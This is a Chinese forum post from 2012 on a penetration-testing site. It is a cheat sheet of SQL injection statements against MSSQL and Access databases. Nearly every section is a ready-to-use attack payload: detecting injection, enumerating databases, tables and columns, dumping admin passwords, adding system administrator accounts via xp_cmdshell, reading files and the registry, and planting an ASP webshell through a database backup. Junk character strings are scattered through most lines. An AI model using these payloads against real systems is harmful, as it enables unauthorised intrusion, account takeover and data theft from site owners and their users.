中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
! e9 e7 r! x; [;and 1=1
" w8 T/ m5 E2 C6 _. [0 V4 E;and 1=2 + ]' q( v; b% B+ [1 J$ \& C. E
/ B! p& o8 n( |8 ?9 q
2.初步判断是否是mssql
" y9 ]. ~: C5 z% E;and user>0 4 U7 K* j. z$ }7 |
) A3 a! O3 P# U0 x
3.判断数据库系统 1 P5 q* _  U  W3 b2 n- n7 M
;and (select count(*) from sysobjects)>0 mssql
# R# h5 i1 T9 o; Q1 E;and (select count(*) from msysobjects)>0 access ! U% W( Y: W+ f! W* @2 a2 @2 s

2 K; D8 S  }; x+ `7 u) D& ?4.注入参数是字符 # T  @7 e6 a2 l& O* [$ P+ k) X+ r
'and [查询条件] and ''='
+ i+ W" Y- p+ I9 d/ }1 v0 u  p; h* v6 G3 e& ]
5.搜索时没过滤参数的
' {: ?' R" B( \) k3 O'and [查询条件] and '%25'='
3 w% j2 T9 l: I
5 V4 P" L# q- G3 ^0 O' A% I1 e6.猜数表名
5 B+ K# h. @0 i;and (select Count(*) from [表名])>0
+ T; n- I; c! N1 W1 A) y' E. ^8 H! |5 |! j
7.猜字段 ) Y7 x  ]4 H* ?
;and (select Count(字段名) from 表名)>0
) \# u* {( ~! p
8 X) j: ]& t( j; w4 x" [8.猜字段中记录长度
8 {: D5 _2 P. l5 d;and (select top 1 len(字段名) from 表名)>0
  n. L: }: D/ T
& q7 Q) s) J3 g+ @9.(1)猜字段的ascii值(access)
9 d, d+ v; N: _6 ?" o' ^;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
' O5 S3 @2 q( P. \7 j7 \$ V) [: D& }7 M5 A% m4 w, K( Y' R
(2)猜字段的ascii值(mssql) 8 t8 R$ G; \% m& C3 K+ |1 t( X/ d
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' i. T; U2 a# m1 i, P9 y) Q! w
. N7 Z1 L' Y5 T4 H! K
10.测试权限结构(mssql) # l( ?6 }3 _" X5 y- X$ j+ }  [
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 e" H( P6 e" }4 O;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# z) n% e9 X( u$ d% N& r9 x6 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# q. Y  B9 m1 T& `' @! d# N3 `;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ Y( {! X, w* Q0 ?+ k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( `2 N4 R' {2 y% v( o;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, z. F) i& I' n. G, n& j;and 1=(select IS_MEMBER('db_owner'));--
; ^( z/ m: B( e+ }$ A. k  t( g. [
4 Q2 U0 Q' O  N) v; r11.添加mssql和系统的帐户 9 O& @+ Z& b1 l6 _5 t" E
;exec master.dbo.sp_addlogin username;--
9 d9 \- z! F0 w1 {+ L;exec master.dbo.sp_password null,username,password;-- - i# ^; u! A0 a  P/ D( ?6 T
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
# S1 l5 @6 a0 ?;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * N! _' a* V" a6 u  v2 }7 r
;exec master.dbo.xp_cmdshell 'net user username password /add';--   D9 R: k. n6 `7 W
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ H7 h7 v( I" @! P/ {5 ^# p& P9 f8 U! M- p/ \6 e  c
12.(1)遍历目录 ) u+ s/ F  O4 J7 L
;create table dirs(paths varchar(100), id int) 5 B7 p' O0 @: y; c: X
;insert dirs exec master.dbo.xp_dirtree 'c:\' " z# M, ?* x. x2 g! ]. W" j; u$ L1 K
;and (select top 1 paths from dirs)>0
7 Z4 v  K: ^( Y! q' s;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: _7 Z+ I5 S5 U6 ?( b5 @8 E- ~/ r" D# P2 {+ {7 z/ u4 K1 V/ h
(2)遍历目录
7 @' {: O' t7 y6 s5 |$ @;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * |0 }# ], p( l$ K
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; n8 ]6 U( d1 B/ W0 v1 d/ ^8 S
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 `, K) ]$ s, ?) @;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ; ?/ d  k1 R" X
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
; |% ]! q- V, B; U( A9 P4 J0 f( z4 I1 i7 ^( C- t
13.mssql中的存储过程
+ \& s# w, i4 ~5 v0 V% Yxp_regenumvalues 注册表根键, 子键
+ |" V5 j2 e* M( A1 G( x5 {;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' m) e4 j5 `" }0 C" h- v6 t  M
xp_regread 根键,子键,键值名
1 x! F- q, k& o% B7 G8 k; y  @;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; q8 Q4 G3 p! Z" z. S  E
xp_regwrite 根键,子键, 值名, 值类型, 值
: u) ^5 i7 R7 R$ k值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # [4 W& L4 y! j6 d, w4 u
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
1 r8 ]+ J9 a9 fxp_regdeletevalue 根键,子键,值名 4 e$ w' ]- g* Z; A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 , n$ H, q7 c: x6 J5 V8 X" h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 & w! S2 g1 r4 |& P" b0 K% a

1 K( R* _, I+ F3 e; L14.mssql的backup创建webshell : j6 f5 O5 h" M5 Q* O* M. Y$ ^) K$ ]
use model
' \7 a7 C  l' I% Q: M' P; Ycreate table cmd(str image); 5 ]4 O6 S- M$ T* ]
insert into cmd(str) values ('<% Dim oScript %>'); 3 x0 b+ s4 @3 {, J0 A
backup database model to disk='c:\l.asp'; 9 C' `1 h% ]) a  ]2 l5 _
+ l9 e8 s" h3 f* @$ {0 ]  L; n- H
15.mssql内置函数
. Q4 o9 {& S* _9 n9 r, J% ^;and (select @@version)>0 获得Windows的版本号
. R1 D* F8 c) Q; [' a; B: };and user_name()='dbo' 判断当前系统的连接用户是不是sa
2 F- ^, j; u7 ^8 L5 ]7 e: e;and (select user_name())>0 爆当前系统的连接用户
! e/ J8 k& R. }6 [;and (select db_name())>0 得到当前连接的数据库 1 w9 L5 A% t9 _  C3 u/ l1 W  t  M6 k

1 I1 a+ w1 B1 k/ D0 G& x4 a8 t
5 h4 v* N  W" H/ H: s) {+ W1 \# M: B# x
MSSQL手注暴库! Q" }/ q; Q0 l! s/ c! d

$ ?- Q1 ]: n$ i5 H, n1.暴出当前表名和列名- w& d! j  n0 }+ X2 y4 {
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。, l5 M+ [- F& W) V) C9 c* Z6 T' h' W
7 z' ^$ k: p, @0 F4 A
第一.爆出所有数据库名. }4 D2 v, {" \/ B
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
+ v, x9 E- p/ m) J4 ]8 x第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。5 [1 T1 W8 Y, r2 x- J, i% P
" _2 ]' M, z7 p
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名; R+ `; I- l; R! h2 ^4 ]2 s3 g

! Q" Z) {9 d* f3 g
, z6 C" N' A/ z. X. }4 ^& r第二.爆出指定库中的所有表名
: M& H' h# Y1 B, |得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 Q1 B+ g- M  o' _8 j再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
% A  O1 c, b9 s/ P( I; R# S7 |# O
) F* C! N* L8 S  K2 h) c' i# hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--2 f5 K, ^; E. ^" n( w% A. B
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--5 X) ~2 J* g' n) H: {, M+ A+ t
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--$ B; |, b' ^, e2 f+ l
4 X2 n, Y4 _1 u( E
4.爆出指定表中的所有列名
4 G8 r/ q- e7 w  Fand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 8 z4 h& |3 W* c
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'  d8 ?4 }  J7 M% p3 A1 H2 s8 E5 g

9 `0 n! H: {/ k3 B- {; Zand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
* Y$ Y$ Y7 Q4 H8 j3 Y' R; ?1 [0 U4 o/ t8 ?$ \( P+ @
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
; y) N8 A6 |7 f' s( K7 e依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; L0 P" J7 J1 u; V/ k1 H% F& A4 t, U% T' @3 l& b" r3 ^

2 A+ f2 T, D9 Y  F. s6 F, [and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值0 R- h3 }1 @& m, s: d& N" ]* [; A2 I
% `& }! I, i" F8 a! j$ u1 W$ U
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名! m% A) }9 R$ ]+ M7 ]' ~* |

* Y4 q, s( r  l+ q6 K/ zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " s, w( O) V+ L  i% w; X( D
, n6 B( @; f  Y% I- ?  A; i8 h
( D! a" X  F4 y7 C
, h3 a& n1 T& [: m2 I* A
5.读取指定表中的数据
( L2 w& {  L$ j5 X+ W" l2 S- T
8 C0 L. E- @* I2 o6 \+ Eand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 `* P" h, v% R$ `; ^4 y7 Y/ z- i  N, `8 A6 }( W( b3 |5 ~9 n
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
5 ]! H  x+ B0 \0 T- e, u' C5 {: n, S
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
" o$ W* Z! w( Q( d3 ^
5 g! K8 i! |8 W6 ]( `1 {0 P7 D. D5 J( d8 r, h! y8 S8 d5 q. F
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)0 O; B6 x3 \( ]% e9 t" j1 t

, x/ _# `, A# P4 k4 \and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
; G7 t7 t) [( q+ l* y* K1 [  x, A. g
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--: l) l" A, C$ T% h6 G
) ^/ b2 e7 W) d4 S; x, ^
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。" r# n- M. ]1 g+ ]





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2